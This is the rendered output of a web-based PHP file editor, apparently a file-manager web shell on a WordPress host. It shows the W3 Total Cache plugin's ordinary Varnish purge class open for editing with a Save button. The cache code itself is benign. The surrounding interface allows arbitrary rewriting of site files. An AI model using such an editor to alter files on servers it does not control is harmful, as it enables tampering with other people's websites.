<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: Varnish_Flush.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;

/**
 * Class Varnish_Flush
 */
class Varnish_Flush {
	/**
	 * Debug flag
	 *
	 * @var bool
	 */
	var $_debug = false;

	/**
	 * Varnish servers
	 *
	 * @var array
	 */
	var $_servers = array();

	/**
	 * Operation timeout
	 *
	 * @var int
	 */
	var $_timeout = 30;

	/**
	 * Advanced cache config
	 */
	var $_config = null;

	/**
	 * Array of already flushed urls
	 *
	 * @var array
	 */
	private $queued_urls = array();
	private $flush_operation_requested = false;

	/**
	 * PHP5-style constructor
	 */
	function __construct() {
		$this-&gt;_config = Dispatcher::config();

		$this-&gt;_debug = $this-&gt;_config-&gt;get_boolean( 'varnish.debug' );
		$this-&gt;_servers = $this-&gt;_config-&gt;get_array( 'varnish.servers' );
		$this-&gt;_timeout = $this-&gt;_config-&gt;get_integer( 'timelimit.varnish_purge' );
	}

	/**
	 * Purge URI
	 *
	 * @param string  $url
	 * @return boolean
	 */
	protected function _purge( $url ) {
		@set_time_limit( $this-&gt;_timeout );
		$return = true;

		foreach ( (array) $this-&gt;_servers as $server ) {
			$response = $this-&gt;_request( $server, $url );

			if ( is_wp_error( $response ) ) {
				$this-&gt;_log( $url, sprintf( 'Unable to send request: %s.', implode( '; ', $response-&gt;get_error_messages() ) ) );
				$return = false;
			} elseif ( $response['response']['code'] !== 200 ) {
				$this-&gt;_log( $url, 'Bad response: ' . $response['response']['status'] );
				$return = false;
			} else {
				$this-&gt;_log( $url, 'PURGE OK' );
			}
		}

		return $return;
	}

	/*
	 * Sends purge request. Cannt use default wp HTTP implementation
	 * if we send request to different host than specified in $url
	 *
	 * @param $url string
	 */
	function _request( $varnish_server, $url ) {
		$parse_url = @parse_url( $url );

		if ( !$parse_url || !isset( $parse_url['host'] ) )
			return new \WP_Error( 'http_request_failed', 'Unrecognized URL format ' . $url );

		$host = $parse_url['host'];
		$port = ( isset( $parse_url['port'] ) ? (int) $parse_url['port'] : 80 );
		$path = ( !empty( $parse_url['path'] ) ? $parse_url['path'] : '/' );
		$query = ( isset( $parse_url['query'] ) ? $parse_url['query'] : '' );
		$request_uri = $path . ( $query != '' ? '?' . $query : '' );

		list( $varnish_host, $varnish_port ) =
			Util_Content::endpoint_to_host_port( $varnish_server, 80 );

		// if url host is the same as varnish server - we can use regular
		// wordpress http infrastructure, otherwise custom request should be
		// sent using fsockopen, since we send request to other server than
		// specified by $url
		if ( $host == $varnish_host &amp;&amp; $port == $varnish_port )
			return Util_Http::request( $url, array( 'method' =&gt; 'PURGE' ) );

		$request_headers_array = array(
			sprintf( 'PURGE %s HTTP/1.1', $request_uri ),
			sprintf( 'Host: %s', $host ),
			sprintf( 'User-Agent: %s', W3TC_POWERED_BY ),
			'Connection: close'
		);

		$request_headers = implode( &quot;\r\n&quot;, $request_headers_array );
		$request = $request_headers . &quot;\r\n\r\n&quot;;

		// log what we are about to do
		$this-&gt;_log( $url, sprintf( 'Connecting to %s ...', $varnish_host ) );
		$this-&gt;_log( $url, sprintf( 'PURGE %s HTTP/1.1', $request_uri ) );
		$this-&gt;_log( $url, sprintf( 'Host: %s', $host ) );

		$errno = null;
		$errstr = null;
		$fp = @fsockopen( $varnish_host, $varnish_port, $errno, $errstr, 10 );
		if ( !$fp )
			return new \WP_Error( 'http_request_failed', $errno . ': ' . $errstr );

		@stream_set_timeout( $fp, 60 );

		@fputs( $fp, $request );

		$response = '';
		while ( !@feof( $fp ) )
			$response .= @fgets( $fp, 4096 );

		@fclose( $fp );

		list( $response_headers, $contents ) = explode( &quot;\r\n\r\n&quot;, $response, 2 );
		$matches = null;
		if ( preg_match( '~^HTTP/1.[01] (\d+)~', $response_headers, $matches ) ) {
			$code = (int)$matches[1];
			$a = explode( &quot;\n&quot;, $response_headers );
			$status = ( count( $a ) &gt;= 1 ? $a[0] : '' );
			$return = array(
				'response' =&gt; array(
					'code' =&gt; $code,
					'status' =&gt; $status
				)
			);
			return $return;
		}

		return new \WP_Error( 'http_request_failed',
			'Unrecognized response header' . $response_headers );
	}

	/**
	 * Write log entry
	 *
	 * @param string  $url
	 * @param string  $msg
	 * @return bool|int
	 */
	function _log( $url, $msg ) {
		if ( $this-&gt;_debug ) {
			$data = sprintf( &quot;[%s] [%s] %s\n&quot;, date( 'r' ), $url, $msg );
			$data = strtr( $data, '&lt;&gt;', '' );

			$filename = Util_Debug::log_filename( 'varnish' );

			return @file_put_contents( $filename, $data, FILE_APPEND );
		}

		return true;
	}


	/**
	 * Flush varnish cache
	 */
	function flush() {
		$this-&gt;flush_operation_requested = true;
		return true;
	}

	private function do_flush() {
		if ( !is_network_admin() ) {
			$full_urls = array( get_home_url() . '/.*' );
			$full_urls = Util_PageUrls::complement_with_mirror_urls(
				$full_urls );

			foreach ( $full_urls as $url )
				$this-&gt;_purge( $url );
		} else {
			// todo: remove. doesnt work for all caches.
			// replace with tool to flush network
			global $wpdb;
			$protocall = Util_Environment::is_https() ? 'https://' : 'http://';

			// If WPMU Domain Mapping plugin is installed and active
			if ( defined( 'SUNRISE_LOADED' ) &amp;&amp; SUNRISE_LOADED &amp;&amp; isset( $wpdb-&gt;dmtable ) &amp;&amp; !empty( $wpdb-&gt;dmtable ) ) {
				$blogs = $wpdb-&gt;get_results( &quot;
					SELECT {$wpdb-&gt;blogs}.domain, {$wpdb-&gt;blogs}.path, {$wpdb-&gt;dmtable}.domain AS mapped_domain
					FROM {$wpdb-&gt;dmtable}
					RIGHT JOIN {$wpdb-&gt;blogs} ON {$wpdb-&gt;dmtable}.blog_id = {$wpdb-&gt;blogs}.blog_id
					WHERE site_id = {$wpdb-&gt;siteid}
					AND spam = 0
					AND deleted = 0
					AND archived = '0'&quot; );
				foreach ( $blogs as $blog ) {
					if ( !isset( $blog-&gt;mapped_domain ) )
						$url = $protocall . $blog-&gt;domain . ( strlen( $blog-&gt;path )&gt;1? '/' . trim( $blog-&gt;path, '/' ) : '' ) . '/.*';
					else
						$url = $protocall . $blog-&gt;mapped_domain . '/.*';
					$this-&gt;_purge( $url );
				}

			}else {
				if ( !Util_Environment::is_wpmu_subdomain() ) {
					$this-&gt;_purge( get_home_url().'/.*' );
				} else {
					$blogs = $wpdb-&gt;get_results( &quot;
						SELECT domain, path
						FROM {$wpdb-&gt;blogs}
						WHERE site_id = '{$wpdb-&gt;siteid}'
						AND spam = 0
						AND deleted = 0
						AND archived = '0'&quot; );

					foreach ( $blogs as $blog ) {
						$url = $protocall . $blog-&gt;domain . ( strlen( $blog-&gt;path )&gt;1? '/' . trim( $blog-&gt;path, '/' ) : '' ) . '/.*';
						$this-&gt;_purge( $url );
					}
				}
			}
		}
	}

	/**
	 * Flushes varnish post cache
	 *
	 * @param integer $post_id Post ID.
	 * @param boolean $force   Force flag (optional).
	 *
	 * @return boolean
	 */
	function flush_post( $post_id, $force ) {
		if ( !$post_id ) {
			$post_id = Util_Environment::detect_post_id();
		}

		if ( $post_id ) {
			$full_urls = array();

			$post = null;
			$terms = array();

			$feeds = $this-&gt;_config-&gt;get_array( 'pgcache.purge.feed.types' );
			$limit_post_pages = $this-&gt;_config-&gt;get_integer( 'pgcache.purge.postpages_limit' );

			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.terms' ) || $this-&gt;_config-&gt;get_boolean( 'varnish.pgcache.feed.terms' ) ) {
				$taxonomies = get_post_taxonomies( $post_id );
				$terms = wp_get_post_terms( $post_id, $taxonomies );
			}

			switch ( true ) {
			case $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.author' ):
			case $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.archive.daily' ):
			case $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.archive.monthly' ):
			case $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.archive.yearly' ):
			case $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.feed.author' ):
				$post = get_post( $post_id );
			}

			$front_page = get_option( 'show_on_front' );

			/**
			 * Home (Frontpage) URL
			 */
			if ( ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.home' ) &amp;&amp; $front_page == 'posts' )||
				$this-&gt;_config-&gt;get_boolean( 'pgcache.purge.front_page' ) ) {
				$full_urls = array_merge( $full_urls,
					Util_PageUrls::get_frontpage_urls( $limit_post_pages ) );
			}

			/**
			 * Home (Post page) URL
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.home' ) &amp;&amp; $front_page != 'posts' ) {
				$full_urls = array_merge( $full_urls,
					Util_PageUrls::get_postpage_urls( $limit_post_pages ) );
			}

			/**
			 * Post URL
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.post' ) || $force ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_post_urls( $post_id ) );
			}

			/**
			 * Post comments URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.comments' ) &amp;&amp; function_exists( 'get_comments_pagenum_link' ) ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_post_comments_urls( $post_id ) );
			}

			/**
			 * Post author URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.author' ) &amp;&amp; $post ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_post_author_urls( $post-&gt;post_author, $limit_post_pages ) );
			}

			/**
			 * Post terms URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.terms' ) ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_post_terms_urls( $terms, $limit_post_pages ) );
			}

			/**
			 * Daily archive URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.archive.daily' ) &amp;&amp; $post ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_daily_archive_urls( $post, $limit_post_pages ) );
			}

			/**
			 * Monthly archive URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.archive.monthly' ) &amp;&amp; $post ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_monthly_archive_urls( $post, $limit_post_pages ) );
			}

			/**
			 * Yearly archive URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.archive.yearly' ) &amp;&amp; $post ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_yearly_archive_urls( $post, $limit_post_pages ) );
			}

			/**
			 * Feed URLs
			 */
			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.feed.blog' ) ) {
				$full_urls = array_merge( $full_urls,
					Util_PageUrls::get_feed_urls( $feeds ) );
			}

			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.feed.comments' ) ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_feed_comments_urls( $post_id, $feeds ) );
			}

			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.feed.author' ) &amp;&amp; $post ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_feed_author_urls( $post-&gt;post_author, $feeds ) );
			}

			if ( $this-&gt;_config-&gt;get_boolean( 'pgcache.purge.feed.terms' ) ) {
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_feed_terms_urls( $terms, $feeds ) );
			}

			/**
			 * Purge selected pages
			 */
			if ( $this-&gt;_config-&gt;get_array( 'pgcache.purge.pages' ) ) {
				$pages = $this-&gt;_config-&gt;get_array( 'pgcache.purge.pages' );
				$full_urls = array_merge( $full_urls, Util_PageUrls::get_pages_urls( $pages ) );
			}

			if ( $this-&gt;_config-&gt;get_string( 'pgcache.purge.sitemap_regex' ) ) {
				$sitemap_regex = $this-&gt;_config-&gt;get_string( 'pgcache.purge.sitemap_regex' );
				$full_urls[] = Util_Environment::home_domain_root_url() . '/' . trim( $sitemap_regex, &quot;^$&quot; );
			}

			// add mirror urls
			$full_urls = Util_PageUrls::complement_with_mirror_urls(
				$full_urls );

			$full_urls = apply_filters( 'varnish_flush_post_queued_urls',
				$full_urls );

			/**
			 * Queue flush
			 */
			if ( count( $full_urls ) ) {
				foreach ( $full_urls as $url )
					$this-&gt;queued_urls[$url] = '*';
			}

			return true;
		}

		return false;
	}

	/**
	 * Flush a single url
	 *
	 * @param unknown $url
	 */
	function flush_url( $url ) {
		$this-&gt;_purge( $url );
	}

	/**
	 * Flushes global and repeated urls
	 */
	function flush_post_cleanup() {
		if ( $this-&gt;flush_operation_requested ) {
			$this-&gt;do_flush();
			$count = 999;

			$this-&gt;flush_operation_requested = false;
			$this-&gt;queued_urls = array();
		} else {
			$count = count( $this-&gt;queued_urls );
			if ( $count &gt; 0 ) {
				foreach ( $this-&gt;queued_urls as $url =&gt; $nothing )
					$this-&gt;flush_url( $url );

				$this-&gt;queued_urls = array();
			}
		}

		return $count;
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fw3-total-cache'>🔙 Back</a>